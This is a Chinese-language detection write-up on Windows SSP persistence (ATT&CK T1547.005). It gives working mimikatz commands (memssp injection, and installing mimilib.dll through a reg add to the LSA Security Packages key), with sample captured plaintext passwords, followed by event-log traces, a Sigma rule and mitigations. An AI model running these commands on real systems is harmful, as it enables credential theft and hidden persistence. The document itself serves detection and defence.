T1547-005-win-SSP权限维持
来自ATT&CK的描述
Windows SSP(Windows安全支持提供程序)动态链接库在系统启动时加载到LSA(本地安全机构)进程中。一旦加载到LSA中,SSP动态链接库可以访问存储在Windows中的加密和明文密码,例如任何登录用户的域密码或智能卡PIN码。SSP配置存储在两个注册表项中:HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages和HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\SecurityPackages。攻击者可能会修改这些注册表项来添加新的SSP。这些SSP将在下次系统启动时加载,或者在调用AddSecurityPackage Windows API函数时加载。
测试案例
SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。
SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。
如果获得目标系统system权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。
检测日志
windows安全日志
测试复现
方法一
使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
mimikatz.exe "privilege::debug" "misc::memssp" exit
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe "privilege::debug
" "misc::memssp" exit
.#####. mimikatz 2.1.1 (x64) built on Apr 9 2017 23:24:20
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 21 modules * * */
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # misc::memssp
Injected =)
mimikatz(commandline) # exit
Bye!
注销当前用户重新登录,即可获取明文密码,密码存储在日志文件C:\Windows\system32\mimilsa.log中。
type C:\Windows\system32\mimilsa.log
C:\Users\Administrator>type C:\Windows\system32\mimilsa.log
[00000000:00063a51] DC\Administrator admin.098
方法二
将mimikatz中的mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。
copy mimilib.dll %systemroot%\system32
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>copy mimilib.dll %systemroot%\
system32
已复制 1 个文件。
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg query hklm\system\currentc
ontrolset\control\lsa\ /v "Security Packages"
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0ts
pkg\0pku2u
注意:最后一步修改注册表需要在powershell命令行下操作,cmd下可能会报错。
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
错误: 无效语法。
键入 "REG ADD /?" 了解用法信息。
PS C:\Users\Administrator> reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv
1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
值 Security Packages 已存在,要覆盖吗(Yes/No)? y
操作成功完成。
查看注册表 hklm\system\currentcontrolset\control\lsa\Security Packages项的值。
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg query hklm\system\currentc
ontrolset\control\lsa\ /v "Security Packages"
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0ts
pkg\0pku2u\0mimilib
系统重启后,若dll被成功加载,用户在登录时输入的账号和密码明文就会被记录在C:\Windows\system32\kiwissp.log中。
type C:\Windows\system32\kiwissp.log
C:\Users\Administrator>type C:\Windows\system32\kiwissp.log
[00000000:000003e7] [00000002] WORKGROUP\DC$ (DC$)
[00000000:00049cd0] [00000002] DC\Administrator (Administrator) admin.098
[00000000:000003e5] [00000005] \ (LOCAL SERVICE)
测试留痕
建议在windows server 2008(含2008)以下版本安装部署sysmon,记录进程名称、进程命令行参数,方便溯源分析;
建议在windows server 2008以上版本操作系统中开启审核进程创建策略,记录进程名称、进程命令行参数,方便溯源分析。
#针对方法二留痕
EVentID: 4656 #已请求到对象的句柄。
对象:
对象服务器: Security
对象类型: Key
对象名: \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN
句柄 ID: 0x508
进程信息:
进程 ID: 0x748
进程名: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
访问请求信息:
事务 ID: {00000000-0000-0000-0000-000000000000}
访问: READ_CONTROL
查询项值
枚举子项
对项的改动进行通知
EVentID: 4658 #已关闭到对象的句柄。
对象:
对象服务器: Security
句柄 ID: 0x508
进程信息:
进程 ID: 0xbd8
进程名: C:\Windows\System32\Oobe.exe
EVentID: 4688 #已创建新进程。在高版本系统中可记录命令行参数
进程信息:
新进程 ID: 0x5c8
新进程名: C:\Windows\System32\reg.exe
令牌提升类型: TokenElevationTypeDefault (1)
EVentID: 4656 #已请求到对象的句柄。
对象:
对象服务器: Security
对象类型: Key
对象名: \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Microsoft.ServerManager
句柄 ID: 0x694
进程信息:
进程 ID: 0x864
进程名: C:\Windows\System32\Oobe.exe
访问请求信息:
事务 ID: {00000000-0000-0000-0000-000000000000}
访问: READ_CONTROL
查询项值
枚举子项
对项的改动进行通知
检测规则/思路
Sigma规则
title: 添加到LSA配置的安全支持提供程序(SSP)
status: 测试阶段
description: 检测向注册表添加SSP。在重新启动或API调用后,SSP DLL可以访问存储在Windows中的加密密码和明文密码。
references:
- https://attack.mitre.org/techniques/T1547/005/
- https://powersploit.readthedocs.io/en/latest/Persistence/Install-SSP/
tags:
- attack.persistence
- attack.t1547
logsource:
product: windows
service: sysmon
detection:
selection_registry:
EventID: 13 #创建注册表值 sysmon日志
TargetObject:
- 'HKLM\System\CurrentControlSet\Control\Lsa\Security Packages'
- 'HKLM\System\CurrentControlSet\Control\Lsa\OSConfig\Security Packages'
exclusion_images:
- Image: C:\Windows\system32\msiexec.exe
- Image: C:\Windows\syswow64\MsiExec.exe
condition: selection_registry and not exclusion_images
falsepositives:
- 不太可能
level: 关键
建议
监控注册表来查看SSP注册表项是否有更改。监控LSA进程来查看是否有动态链接库加载的情况。Windows 8.1和Windows Server 2012 R2中,在注册表项HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File ExecutionOptions\LSASS.exe中设置AuditLevelß=8来加载未签名的SSP动态链接库到LSA时会生成事件。
安全防御措施
1.检查注册表
hklm\system\currentcontrolset\control\lsa\Security Packages位置是否存在可疑dll。
2.检测%windir%\System32是否有可疑dll
3.使用第三方工具 Autoruns 检测LSA中是否存在可疑dll。
Autoruns下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/autoruns
参考推荐
MITRE-ATT&CK-T1547-005
https://attack.mitre.org/techniques/T1547/005/
AD域SSP权限维持与安全防护